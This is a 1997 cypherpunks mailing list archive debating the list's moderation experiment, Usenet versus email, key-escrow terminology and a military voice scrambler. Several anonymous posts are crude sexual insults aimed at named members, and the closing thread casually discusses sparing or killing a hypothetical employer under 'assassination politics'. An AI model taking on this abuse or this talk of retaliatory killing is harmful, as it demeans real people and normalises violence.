Gilmore making this claim? >On the other hand, creating an alt.cypherpunks sounds like a more robust >idea than yet another mailing list. And you could merely post this mailing list publically in the alt group of your choice--I find it interesting at times but not worth responding to in general since freedom of expressiion is not a given. Steve From nobody at zifi.genetics.utah.edu Tue Feb 4 05:21:43 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 05:21:43 -0800 (PST) Subject: [ANNOUNCEMENT] Elliptic curves Message-ID: <199702041321.GAA22025@zifi.genetics.utah.edu> Tim May's wee-wee is so tiny that only his mommy is allowed to touch it. /\ /..\ Tim May /_\/_\ From usura at berserk.com Tue Feb 4 05:28:02 1997 From: usura at berserk.com (Alex de Joode) Date: Tue, 4 Feb 1997 05:28:02 -0800 (PST) Subject: PGP sourcecode books Message-ID: <199702041327.OAA03778@asylum.berserk.com> A non-text attachment was scrubbed... Name: not available Type: application/x-pgp-message Size: 26 bytes Desc: not available URL: From tmcghan at mail.bcpl.lib.md.us Tue Feb 4 05:51:20 1997 From: tmcghan at mail.bcpl.lib.md.us (tmcghan at mail.bcpl.lib.md.us) Date: Tue, 4 Feb 1997 05:51:20 -0800 (PST) Subject: Embarrass a Marylander, Go to Jail Message-ID: <199702041350.IAA16896@mail.bcpl.lib.md.us> in a message allegedly from: Robert Hettinga this appeared... > A Maryland bill that would make it illegal to send "annoying" or > "embarrassing" e-mail was introduced this week by Democratic General > Assembly member Samuel Rosenberg. {snip} > "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle As a marylander, in particular, a baltimoron, I am both embarrassed and annoyed that these legislative bozos have the unmitigated gall to expend time and energy on pursuits such as these. Perhaps they feel that our state attorney general needs to earn his excessive salary by attempting to defend this constitutionally indefensible mental excrement. Did the defeat of CDA not resonate? From tmcghan at mail.bcpl.lib.md.us Tue Feb 4 06:17:58 1997 From: tmcghan at mail.bcpl.lib.md.us (tmcghan at mail.bcpl.lib.md.us) Date: Tue, 4 Feb 1997 06:17:58 -0800 (PST) Subject: Information Warfare Message-ID: <199702041417.JAA22327@mail.bcpl.lib.md.us> in a message allegedly from: Peter Hendrickson > The cypherpunks list has been under "attack" for some time. {snip} > Some people have dismissed the idea that rogue governmental elements > are behind some of our problems. {snip} > We know that "Information Warfare" is the big thing in the defense > establishment right now. Information Warfare Conference sponsored by DPMA/AITP Washington, DC, March 13-14, 1997 Crystal City Marriott 1999 Jefferson Davis Highway Arlington, VA 22202 Presentations by: Major General Michael V. Hayden, Commander, Air Intelligence Agency Dr. C. Kenneth Allard, Competitive Strategies Col. H. Stevens, Land Information Warfare Activity - current service visions and planned program initiatives - operational concepts for 'third-wave' warfare - information warfare drivers for 21st century C4I architectures - emerging technologies and systems for information warfare superiority: opportunities on the horizon 'information warfare targets and vulnerabilities', Maxim I. Kovel, TASC systems management group 'information warfare for deterrence', William H.J. Manthorpe, Jr. Applied Physics Laboratory, Johns Hopkins 'adaptive techniques for counter-deception', James Llinas, technical advisor, DOD JDL, Data Fusion group 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI consulting "Information has been termed the 'fifth dimension' in the conduct of 'third-wave' warfare, and promises to dramatically enhance the role of C4I as a force multiplier. Joint and individual service doctrine is emerging for IW, ans is affecting the needs and requirements for diverse systems: from space-based surveillance and communications systems to terrestrial image processing, visualization, and information fusion systems." "This conference will provide a valuable forum where military and industry staff can interact with key decision-makers to achieve the most current possible understanding of Information Warfare concepts, initiatives, technologies and potential opportunities. The Critical Questions to be addressed include: - how is IW changing operational concepts? - how can we defend the weak links in the planned information-intensive reconnaissance, strike, targeting architecture? - what developments in enabling technologies are needed to support current Information Operations, Battlefield Visualization, and Information Exploitation initiatives? -what can be done to develop defensive information technology capabilities? and last, but _c_e_r_t_a_i_n_l_y_ not least: - how will we move forward to develop a true offensive IW capability ============================================== From jya at pipeline.com Tue Feb 4 06:18:15 1997 From: jya at pipeline.com (John Young) Date: Tue, 4 Feb 1997 06:18:15 -0800 (PST) Subject: More Hacking of the Mykotronx Site! Message-ID: <1.5.4.32.19970204141231.006c9760@pop.pipeline.com> While this report may be true, I wonder if it's not a spoof or even official disinformation to mislead about the details of Aaron's mission as well as what Rainbow and others are really peddling to rabble-fearing paranoids. This last sentence seems a bit too melodramatic even for a suck-up crippled-chip manufacturer: >The MYK-82, developed by Mykotronx and fabricated by VLSI Technology, >Inc., is the first of a series of security products to be developed as >part of an alliance with the NSA, targeting both Government and >commercial citizen monitoring markets. Granted that defense to LEA-market conversionists like to pornograph the godawful carnage their technology can wreak on disobedient civilians to arouse ex-military-to-LEA converted glands -- do they actually write SOF drool like this? From gnu at toad.com Tue Feb 4 06:21:52 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 4 Feb 1997 06:21:52 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702041421.GAA27742@toad.com> I'm glad we're talking about some of the real issues here. Tim May said: > I don't want Sandy Sandfort sitting in judgment on my > posts, deciding what the Cypherpunks--a group I co-founded for God's > sake!!!!--are to be allowed to read and what they may not. Tim, the Cypherpunks have chosen to follow Sandy's lead for this month. I'll admit I made it easy for them, but the results are conclusive. There are 1311 addresses in the cypherpunks list today; 42 in the unedited list; and 19 in the flames list. Forty people cared enough to read every posting; the other thousand either wanted to try the experiment -- or didn't care enough to send an email message. Which, as we all know, is a very low threshold. If I was a social scientist I might want to run the experiment both ways, or six different ways. Name it this, or name it that. I'm not; all I want is something that works. The cypherpunks list was unusable for this kind of discussion, only a month ago. It's usable now. I'm definitely bugged by the community's attitude toward my "censorship". Rather than being glad that someone, anyone, was doing something about the major problem on the list, 99% of the reaction was to create even more ill-considered, emotional flamage. *I* didn't make the signal/noise get worse at that point -- *you-all* did. Perhaps at that point I should have shut down the list, as Lucky is now suggesting. "Asking the list what to do" was clearly not a useful option. Sandy cared enough about the community to make some concrete suggestions to me about how to get the list back on track. They involved a lot more work than the previous setup. I told him if he was willing to do the work, we could try it. As Dale suggests, I wasn't about to waste my time reading the whole list in real time and passing judgement on the postings. Sandy was, for a month. The element I find most lacking from the whole discussion, until recently, has been responsibility. In an anarchy, *everyone* is responsible; nothing is "somebody else's job". Sandy felt responsible, so he proposed something. I felt responsible, so I helped. But a large part of the community sat on the sidelines and criticized, without making attempts to make things better; indeed the volume and tone of the criticisms themselves made things worse. Unpaid labor for a peanut gallery of spoiled children isn't very gratifying. You-all remind me of a passage from Booker T. Washington's book _Up From Slavery_, describing what happened on the night that news of the Emancipation Proclamation reached the South: The wild rejoicing on the part of the emancipated coloured people lasted but for a brief period, for I noticed that by the time they returned to their cabins there was a change in their feelings. The great responsibility of being free, of having charge of themselves, of having to think and plan for themselves and their children, seemed to take possesion of them. It was very much like suddenly turning a youth of ten or twelve years out into the world to provide for himself. In a few hours the great questions with which the Anglo-Saxon race had been grappling for centuries had been thrown upon these people to be solved. These were the questions of a home, a living, the rearing of children, education, citizenship, and the establishment and support of churches. Was it any wonder that within a few hours the wild rejoicing ceased and a feeling of deep gloom seemed to pervade the slave quarters? To some it seemed that, now that they were in actual possession of it, freedom was a more serious thing than they had expected to find it. Most of the people on the list haven't bothered to face that freedom. Your de-facto "leaders" have faced it for you. It is a more serious thing than than you expect. All it takes it hard work and judgement. Be responsible for setting your society's privacy policy -- without knowing whether you are right. Face the uncertainty and build anyway. Shall I post you an Emancipation Proclamation -- as if you needed one? Start a mailing list on another site! Move this list to somewhere! Create and nurture an alt group! Make an independent moderated list drawn from the unedited list! Hold meetings! Establish for it a home, a funding, the rearing of newbies, education, citizenship, and the establishment and support of philosophies. Dead simple for people as capable as us. Just takes work. Who's volunteering? Just do it! The experiment will be over in a few weeks. Who's going to take over deciding how to run the list, and running it? If you want to help organize what I'll call the `progressive crypto community', for lack of a better term, then please do. Otherwise, in the immortal words of Lazarus Long, "PIPE DOWN!". John PS: Can we talk about crypto too? It's clear from the last few days of press releases that the pro-GAK forces are again working to confuse novices into thinking that two very different things are the same thing. Last time it was "public key infrastructure" and "key recovery". This time it's "strong crypto" and "56-bit DES". What should we do about this? Educate the public? From nobody at zifi.genetics.utah.edu Tue Feb 4 06:25:46 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 06:25:46 -0800 (PST) Subject: The V chip Message-ID: <199702041425.GAA27851@toad.com> Dr.Demented Vomit was born when his mother was on the toilet. \|/ @ @ -oOO-(_)-OOo- Dr.Demented Vomit From nobody at zifi.genetics.utah.edu Tue Feb 4 06:25:51 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 06:25:51 -0800 (PST) Subject: [DSS] PGP Signatures Message-ID: <199702041425.GAA27869@toad.com> Decoy Vilus K)ankersore( Of The Minute's family tree goes straight up. All of his ancestors were siblings, too dumb to recognize each other in the dark. |\_/| (0_0) Decoy Vilus K)ankersore( Of The Minute ==(Y)== ---(u)---(u)--- From nobody at squirrel.owl.de Tue Feb 4 06:25:54 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST) Subject: what's in a name? Message-ID: <199702041425.GAA27874@toad.com> Without answering any of the points raised by Wei Dai, let me address the subject line. I have been a long time reader of and occasional contributor to the cypherpunks list. Since it is high volume, I prefer not to have it show up in my mailbox, but read it from either nntp.hks.net or infinity.nus.sg/cypherpunks. With the recent change in status of the list, what I get at those two places is the edited list. The same would apply to other sublists subscribed to cypherpunks at toad.com too. If hks and infinity started archiving the unedited list, this wouldn't bother me so much. Other than that, I am saddened, as much as a Tim is enraged, that a supposedly libertarian and anarchistic group of people has decided that censorship is the right solution to their problems. Btw, what is with nntp.hks.net? Seems to have been down for couple of days. From nobody at zifi.genetics.utah.edu Tue Feb 4 06:25:54 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Tue, 4 Feb 1997 06:25:54 -0800 (PST) Subject: [STEGO] Degausser Message-ID: <199702041425.GAA27875@toad.com> Decoy L[esbian] Vitriol K[ancer]OTM has been fired for masturbating in front of his boss. o/ Decoy L[esbian] Vitriol K[ancer]OTM <| / > From dthorn at gte.net Tue Feb 4 06:25:58 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:25:58 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041425.GAA27890@toad.com> Dr.Dimitri Vulis KOTM wrote: > ichudov at algebra.com (Igor Chudov @ home) writes: > > Adam Back wrote: > > > Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As > > > an aside, it is ironic that John Gilmore was the guy who started the > > > alt.* USENET hierarchy, specifically to facilitate freedom of speech). > > An interesting idea. What's also interesting is Tim May posting after a long "absence", and in his post he repeats virtually sentence-for-sentence what a handful of people have been saying here for the past month. From die at pig.die.com Tue Feb 4 06:26:02 1997 From: die at pig.die.com (Dave Emery) Date: Tue, 4 Feb 1997 06:26:02 -0800 (PST) Subject: FCPUNX:ecure Phones Message-ID: <199702041426.GAA27891@toad.com> Don't think I will bore the list with it, But a slightly more complex version of this scheme was one of the major tactical medium security voice scrambling systems used by the US in the 70's and 80's and even to a slight extent into the 90's on military radio circuits. The military version is called Parkhill and the crypto gear is the KY-65 and KY-75. At one time (in the 70's) it was used for at least secret traffic. It was downgraded a couple of times since and is now considered obselete and compromised. A Parkhill crypto box can be seen in the NSA museum... The NSA version used time inversion (playing voice samples backwards) and faster shuffling than this one does, and possibly a more secure key generator. But it is rumored to have been broken by more than one opponent, perhaps including drug cartels. Its appeal and why it was so extensively used for a while is that it interfaces to normal voice radio gear at the audio input and output level rather than requiring different modulations and complex digital modems integrated into the radio. It also gives pretty good speech quality and speaker recognition. Its primary replacement is the ANDVT digital voice terminal which takes advantage of modern DSP technology to implement modems usable over radio links and vocoders which can produce acceptable speech at 1200 or 2400 baud. Dave Emery die at die.com From die at pig.die.com Tue Feb 4 06:26:16 1997 From: die at pig.die.com (Dave Emery) Date: Tue, 4 Feb 1997 06:26:16 -0800 (PST) Subject: FCPUNX:ecure Phones (fwd) Message-ID: <199702041426.GAA27899@toad.com> Forwarded message: From dthorn at gte.net Tue Feb 4 06:26:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:26:36 -0800 (PST) Subject: Voting on Moderation [was: Dissolving Choke Points] Message-ID: <199702041426.GAA27943@toad.com> Eric Cordian wrote: > Peter Hendrickson writes: > > Moderation has been a failure. I'm pretty good at filtering and I > > can sadly report that there is very little signal out there. > The quality of the Cypherpunks list is determined solely by the > amount of signal. The amount of noise is irrelevant. [snip] > Now that we have moderation, I can't do this while subscribed to the > main list, and have to live in eternal fear that I am writing for > an audience of 20 every time I respond to something on the unedited > list. Foo on that. I wonder how Sandy will take the vote on continuing or abandoning the moderation experiment? In most states, one juror out of 12 can kill a conviction. In a revolution such as U.S. 1776, only a tiny percent of the people supported the revolution. Will Sandy go with a majority decision (pure democratic), or allow the moderation to go away if a significant minority wants to kill it? From dthorn at gte.net Tue Feb 4 06:26:38 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:26:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041426.GAA27956@toad.com> tmcghan at gill-simpson.com wrote: > in a message allegedly from: "Timothy C. May" > > the really important issue is this: is the _physical hosting_ of the > > Cypherpunks mailing list coterminous with the "Cypherpunks"? > { much thoughtful and well-phrased commentary elided } > > I would have had no problem had John announced that he was creating > > a new list, the "Good Stuff" list, with Sandy has his Chooser of > > Good Stuff. But by making the _main list_ the censored one, this > > skewed things considerably. > Now that the horse is out of the barn, ( or maybe not? ), I can't help > but ask whether one specific 'change to the change' would have > satisfied most of your objections: retaining 'cypherpunks' as the > name of the unedited, all-the-crud-you-can-read-and-then-some, > version, and adding an 'cp-worthwhile' list for those of us who prefer > not to wade thru mountains of garbage to glean a few precious tidbits. > What's in a name? Is perception more important ( to you ) than > reality? If just swapping names between cp and cp-unedited would make > such a large difference, I humbly suggest to you that you consider how > much labels need to matter. Is the title of the group more important > the the content? From where I sit, this looks a lot like a > style-over-substance complaint. Of course, I don't have my trifocals > on just at the moment. If it did not suit a specific purpose, they wouldn't have done it that way. You can take it to the bank that they did this because it was the only way to keep the 1300-plus sheep subscribed to what they wanted to be their "main" list. From pdh at best.com Tue Feb 4 06:26:42 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 4 Feb 1997 06:26:42 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702041426.GAA27968@toad.com> At 7:59 PM 2/3/1997, Greg Broiles wrote: >At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote: >> Moderation has been a failure. I'm pretty good at filtering and I >> can sadly report that there is very little signal out there. > I don't think it's reasonable to expect an increase in signal within 2 1/2 > weeks of the start of moderation. What I have seen is a pretty complete elimination of the signal that was there. Some might argue that this is "just" because Tim stopped posting. But so what? The result of moderation was the elimination of signal. (Aside: Can anybody think of five members of the list whose combined contributions clearly exceed Tim's? I can't.) Also, I am curious when you expect the benefits of moderation to arrive. Two and a half weeks should be plenty of time for a reasoned creative and interesting discussion to develop. It hasn't happened. Instead the value of the list has - in my view - steadily tapered off since the announcement of moderation. >> There are lessons to be learned here. One is that censorship does >> not promote a stimulating and creative dialogue. > No, that is a silly lesson to draw from this experiment. There are > lots of useful and interesting "moderated" (on paper, it's called > "editing") publications/lists/digests where the content is > intentionally controlled for content and style. And in practice people get their friends published. Ever wonder why Denning got so much bandwidth on the RISKS list when she had so little to say? I don't like edited journals, either. I prefer to have somebody I respect say "Did you see so-and-so's paper? Here's the URL." Most of what is in, for instance, peer reviewed scientific journals is fluff designed to enhance somebody's resume. Moderation was a good idea when you had a number of people who couldn't all talk at once in the same room and in which a disruptive influence could not be easily ignored. We have better ways to communicate now. Let's use them. Peter Hendrickson pdh at best.com From pdh at best.com Tue Feb 4 06:26:44 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 4 Feb 1997 06:26:44 -0800 (PST) Subject: Mailing Lists vs. Usenet Message-ID: <199702041426.GAA27969@toad.com> At 7:59 PM 2/3/1997, Greg Broiles wrote: > Seriously, if you want a distributed no-choke-points "flooding" > message distribution system, you're talking about Usenet. Robust > software exists for clients and servers, and it's already supported > worldwide on many operating systems. No need to write more software > to graft that functionality onto E-mail. If the list is going to > turn into Usenet (we've already got most of Usenet's better kooks), > we might as well just move the damn thing over to alt.cypherpunks > and be done with it. (Anyone care to guess who founded alt.* as a > way to route around censorship?) > (Of course, Usenet is a technical success and a spectacular failure, > content-wise. So opponents of moderation will be forgiven for > failing to mention this sparkling example of an unmoderated, > anything-goes forum for discussion.) Several people have brought up this point and it is worth discussing. There are some differences. I don't like Usenet's architecture. It is silly to duplicate vast amounts of traffic everywhere. It was a fine idea when there were 100 groups with lots of overlap in what people read. The horse and buggy was a good idea once too. Performance is a problem with Usenet. The system I envision (nearly identical to Igor's) would have about ten mail servers, each of which sends articles to all the others. Even in situations where something is wrong, articles will be nearly instantly transmitted along an alternate path. I think this is harder to arrange with Usenet. Competition among Cypherpunks providers works the right way. If you are getting your mail on a system which is slow and isn't up all the time, you have good reasons to switch to another provider. This is easy - just subscribe yourself to one mailing list and unsubscribe from the other. It's harder for most people to do this with Usenet. You may not want to switch your ISP to get a better Cypherpunks feed. In my opinion, Usenet is less conducive to filtering than is mail. It is true that there are lots of Usenet readers which can do things like kill whole threads and the like, but mail just screams "run me through a perl script!" This is mostly subjective, of course. More subjective opinions: I don't like being associated with Usenet. It is seen as an international bulletin board. Many people believe that it is "public" space and should be subject to zoning. I like the idea of keeping the cypherpunks list "private". I like being able to say "if what's on the list upsets you so much, why did you subscribe?" This is more effective than "so tell your child not look at Usenet". I don't like the whole Usenet cabal and all of the voting to decide which lists to canonize. Less of an issue with alt.cypherpunks, but the association is still there. Peter Hendrickson ph at netcom.com From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 06:26:46 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 06:26:46 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702041426.GAA27970@toad.com> From: IN%"gbroiles at netbox.com" "Greg Broiles" 4-FEB-1997 01:26:13.34 >(I'm working on a message re moderation and the list which will better >explain what I think about that - but I'm not trying to argue, above, that >we *must* have moderation for a long time - simply that it's too early to >call it a failure for failing to significantly increase the number of >useful messages.) I'll be interested in that message. I have problems with the takeover of the original list name, personally. While it is certainly John Gilmore's right to do whatever he wants with the mailing list software/hardware (I believe we've settled that, right?), I'd prefer for the cypherpunks _name_ not be associated with a moderated/censored list. (I mean no insult to either Sandy or John in this, BTW... I simply think that they've gone about this the wrong way. For instance, if John was getting an email overload for toad.com and was trying to indirectly reduce the load via reducing responses to flames, there are other ways to solve the problem - such as the distributed mailing list idea. I do think that Sandy's filtered list could provide a valuable service - most of the other filtered lists seem to filter out a bit too much, judging by the "cc any replies to this message directly to me, I'm on the [insert name of filtered list]" messages I see. If the list switches to cypherpunks and cypherpunks-edited, I might go with cypherpunks-edited (or with some combo of cypherpunks-edited and cypherpunks-flames, the latter more filtered by procmail). My objection is mainly due to the principle of the thing.) Incidentally, I checked the cyberpass.net services, and it does list mailing lists - including a 10$ per month charge per 100 subscribers. At that rate, I can afford about 100 subscribers on a local distributed list, given the 10% discount. (Depending on how it goes, I might be able to afford more... I haven't looked at my personal finances in detail recently.) >I think you misspelled "Usenet". Hope this helps. >Seriously, if you want a distributed no-choke-points "flooding" message >distribution system, you're talking about Usenet. Robust software exists >for clients and servers, and it's already supported worldwide on many >operating systems. No need to write more software to graft that >functionality onto E-mail. If the list is going to turn into Usenet (we've >already got most of Usenet's better kooks), we might as well just move the >damn thing over to alt.cypherpunks and be done with it. (Anyone care to >guess who founded alt.* as a way to route around censorship?) I'd point out that we _know_ every list member can get email, but not that they can get Usenet. I can't conveniently get it, for instance - I'd have to read it via HTTP and respond via email to a news-to-mail server. Sure, I can get an account at infonex or wherever and pick up the news groups there... but I'd prefer not to be forced to, and I suspect the same is true of many people. >(Of course, Usenet is a technical success and a spectacular failure, >content-wise. So opponents of moderation will be forgiven for failing to >mention this sparkling example of an unmoderated, anything-goes forum for >discussion.) Usenet also has easy crossposting, has been discovered by just about every spam artist known to humankind, and doesn't have very good filtering software (IMO, the last time I checked). Limited propagation, especially for a new alt group, especially for a _controversial_ alt group, is also a problem. Sure, Usenet has its advantages. (Under allens at earlham.edu and allens at yang.earlham.edu, I was the second or third highest poster on it for a few weeks a few years back. I'm familiar with Usenet.) But it also has its problems. -Allen From tcmay at got.net Tue Feb 4 06:26:48 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 4 Feb 1997 06:26:48 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041426.GAA27971@toad.com> At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote: >I agree with two of Tim's points. I express no opinion about the others, >except that I think these are the two most important. > >(1) I agree with Tim that as a matter of principle, it would be preferable >to create a new moderated list, with a similar but distinguishable name, >and leave the existing list as it was. I happen to think less turns on This is a point of view many of the most thoughtful commenters seem to agree on, isn't it? One would have thought that had Sandy and John really been interested in hearing the views of list members, this approach would have eventually won out. >(2) Much to my surprise, so far moderation is a failure. I think it is a It doesn't surprise me, but then I've rarely been a fan of moderation. As Michael points out below, it mostly works on "RISKS," but in most other cases I can think of it merely slows discussion down, introduces strange skewings of opinions (to win "approval" of the moderator), and almost never causes better posts to be written. (The case of skilled editors soliciting good articles is of course an entirely different issue.) >failure because it achieves neither of the moderation "sweet spots". No >moderation is one "sweet spot". Strict moderation -- the kind you get on >RISKS, where you know nearly every post is on-topic or at least worth your >time -- is another. This is neither. My clumsy procmail filters are almost >as busy as ever. What slips through is largely duplicative of what I get Several people have also commented on this, that their filters are still working overtime. As it should be, really, as no moderator can make the list match any given person's preferences. (Personally, I'm not even convinced filters are essential. It takes no longer than 5 seconds to glance at a message and know whether to scrap it or not. Granted, it takes a bit of time to download, especially at slower modem speeds. But whether Sandy's censorship is producing any significant "savings" depends on how many messages he's sorting into each pile...clearly if 20% or less of the total posts are being filtered out, then the savings are ignorable. Anybody have the statistics handy? Hint: Sandy should publish a periodic accounting of how many messages went into each pile, and should also publish his criteria on a regular basis, pointing out any modifications he's made to his criteria since the last report.) >As Oscar Wilde either said, or should have said, the worst crime is to be >boring. Maybe the list is like the portrait of Dorian Gray, with an image of the list sitting in a closet at Toad Hall aging not so gracefully. >PS. New members of the list may justly ask, where does he get off calling >the posters he doesn't killfile bores? I stopped posting a lot to the >list some time ago, back when I decided my energies were better spent >writing long stuff (see my web page) and playing with my kids. I kept >reading the list primarily to read the work of about six people -- and Tim >was one of them. Thanks. And I should point out in fairness that Michael recruited me for his panel on "Governmental and Societal Implications of Digital Cash" (or something like this) at the upcoming CFP. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ptrei at acm.org Tue Feb 4 06:32:28 1997 From: ptrei at acm.org (Peter Trei) Date: Tue, 4 Feb 1997 06:32:28 -0800 (PST) Subject: GAK/KR spin Message-ID: <199702041432.GAA28075@toad.com> > Date: Mon, 3 Feb 1997 14:34:49 -0800 > From: Steve Schear > To: cypherpunks at toad.com > Subject: GAK/KR spin > Several months back there were discussions on the list regarding renaming > the government's key escrow/recovery proposals (KRAP comes to mind). I > think we need something that's catchy and simple (perhaps already familiar) > to understand for the semi-litterate citizen units. I propose we encourage > use of the terms "crippleware" or "crypto crippleware" when refering to the > products limited to their weak crypto and/or key escrow/recovery. > > --Steve For some time, I have been using the term 'espionage-enabled software' to describe GAK'd products. Also, 'compromised software' - I want to make the point that 'key escrow/recovery' == insecure.' Peter Trei trei at process.com PS: I have SW for working on the $10,000 DES challenge available. From dthorn at gte.net Tue Feb 4 06:40:40 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:40:40 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041440.GAA28269@toad.com> Scott V. McGuire wrote: > (Even within the community, some people are more a part of > it than others, and nobody is more a part of it then Tim.) Is this like saying "some of the pigs were more equal than the others"? From dthorn at gte.net Tue Feb 4 06:40:47 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:40:47 -0800 (PST) Subject: Trigger-Words...Trigger-Fingers Message-ID: <199702041440.GAA28300@toad.com> Larry Johnson wrote: > Cynthia H. Brown wrote: [snippo] > Theres not many girls on this list, is there? [mo' snippo] > Anyway, my uncle prints out the girl-cypherpunks stuff for the girls > on my list and they think its real cool and they all want to marry > technicians so that they can make them work on the computers for them, > kind of like making them do the computer dishes, you know. [yet mo' snippo] I want to get married. Lots of times. Are the girls cute? I don't do hardware, tho, I'm a software guy. From Butler Tue Feb 4 06:40:53 1997 From: Butler (Butler) Date: Tue, 4 Feb 1997 06:40:53 -0800 (PST) Subject: FW: concerning Ben Franklin Message-ID: <199702041440.GAA28320@toad.com> Kent Crispin wrote: >Franklin said "A man owns an ass; he can vote. The >ass dies; he cannot vote. Who owns the vote?" Poor Timmy May must not be able to vote then, as surely his ass must have been "bashed" to death by now. Scott. REMEMBER: "Dreams are just Screen Savers for the brain" From dthorn at gte.net Tue Feb 4 06:40:57 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:40:57 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702041440.GAA28334@toad.com> Timothy C. May wrote: > At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote: > >(1) I agree with Tim that as a matter of principle, it would be preferable > >to create a new moderated list, with a similar but distinguishable name, > >and leave the existing list as it was. I happen to think less turns on > This is a point of view many of the most thoughtful commenters seem to > agree on, isn't it? One would have thought that had Sandy and John really > been interested in hearing the views of list members, this approach would > have eventually won out. Once again, the reason John and Sandy weren't interested was because the main proponents of this point of view for a long time were me, Dr. Vulis, and Toto. Tim and others were either supportive of Sandy or were silent. From dthorn at gte.net Tue Feb 4 06:41:00 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:41:00 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702041441.GAA28345@toad.com> Steve Schear wrote: > New X-ray gun trades privacy for safety > Reported by Andy C > Seen in The Nando Times on 13 August 1996 > "I'm incredibly concerned," said John Henry Hingson, a past president of the > National Association of Criminal Defense Lawyers, meeting here this past > week. "The entire nation could become a victim of illegal searches and > seizures and the law is powerless to protect them from these police abuses." > But in these nervous times following the the crash of TWA Fight 800 and > bombings at the Olympics, Oklahoma City and the World Trade Center, many > Americans are now willing to trade some of their privacy and civil liberties > for greater security. > A poll last week by the Los Angeles Times found that a majority of people -- > 58 percent -- said they would curtail some civil liberties if it would help > thwart terrorism. Thirteen percent said it would depend on what rights were > at stake. The poll didn't ask people to single out any rights. The L.A. Times quotes this "poll" all the time, and in fact probably just made it up. Why do I know that? Because they ran a "letter" from a "teacher" in the valley somewhere about a year ago which said exactly this same thing. The "teacher" ran a poll of her students and they agreed to give up the rights without even knowing which rights they were giving up. From stewarts at ix.netcom.com Tue Feb 4 06:41:02 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 4 Feb 1997 06:41:02 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702041441.GAA28346@toad.com> At 07:59 PM 2/3/97 -0800, Greg Broiles wrote: >If the list is going to turn into Usenet (we've already got most of >Usenet's better kooks), we might as well just move the >damn thing over to alt.cypherpunks and be done with it. >(Anyone care to guess who founded alt.* as a way to route around >censorship?) The big argument against going to a newsgroup in the past was that signal-to-noise would degrade to the point of alt.2600ness due to newbies, flamers, overflow to/from political ranting newsgroups, etc., and there's already a sci.crypt for that. The main argument in favor of moderation has been that the list has become unreadable due to newbies, flamers, political ranting, and directed attacks and maybe moderation would fix it, at the cost of annoying people who don't like moderation (which is realistically most of us; two practical reasons not to have moderation are that the volume is too high for most people to be willing to moderate, and that the delays inherent in the moderation process reduce the interactivity that's been one of the valuable things about this list.) I'd prefer that we all just get along, but things really were getting uncivil. An advantage of Usenet is the ability to deploy whatever NoCeM is called these days as a way to let people avoid spammers. Personally, I'd switched to the fcpunx filtered list a couple months ago, mainly to cut down on volume but also because I was getting fed up with Vulis's attacks through remailers, which were getting to be too much trouble to filter out. I switched back to the main list after the moderation announcement, with Eudora filters to make some discussions and some people go away. Of course, there have been several different demonstrations of ways around the moderation since then. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Tue Feb 4 06:41:05 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 4 Feb 1997 06:41:05 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702041441.GAA28349@toad.com> Igor Chudov @ home wrote: > Dale Thorn wrote: > > Igor Chudov @ home wrote: [some arguments deleted for lack of time to reply] > > > Another story: suppose that OKSAS hired me to work for her, but then > > > our relationships go south and she fires me. Again, her fate is very > > > unclear, although I would probably spare her life if it were she. > > If she does it right, with empathy, there is not likely to be a > > problem. On the other hand, if she bad-mouths you to prospective > > employers or customers you want to do business with, you might be > > inclined to hit her. This happens a lot when AP is not available. > ... But would happen more often if it was. Why, if AP was readily available, would she want to risk being hit by 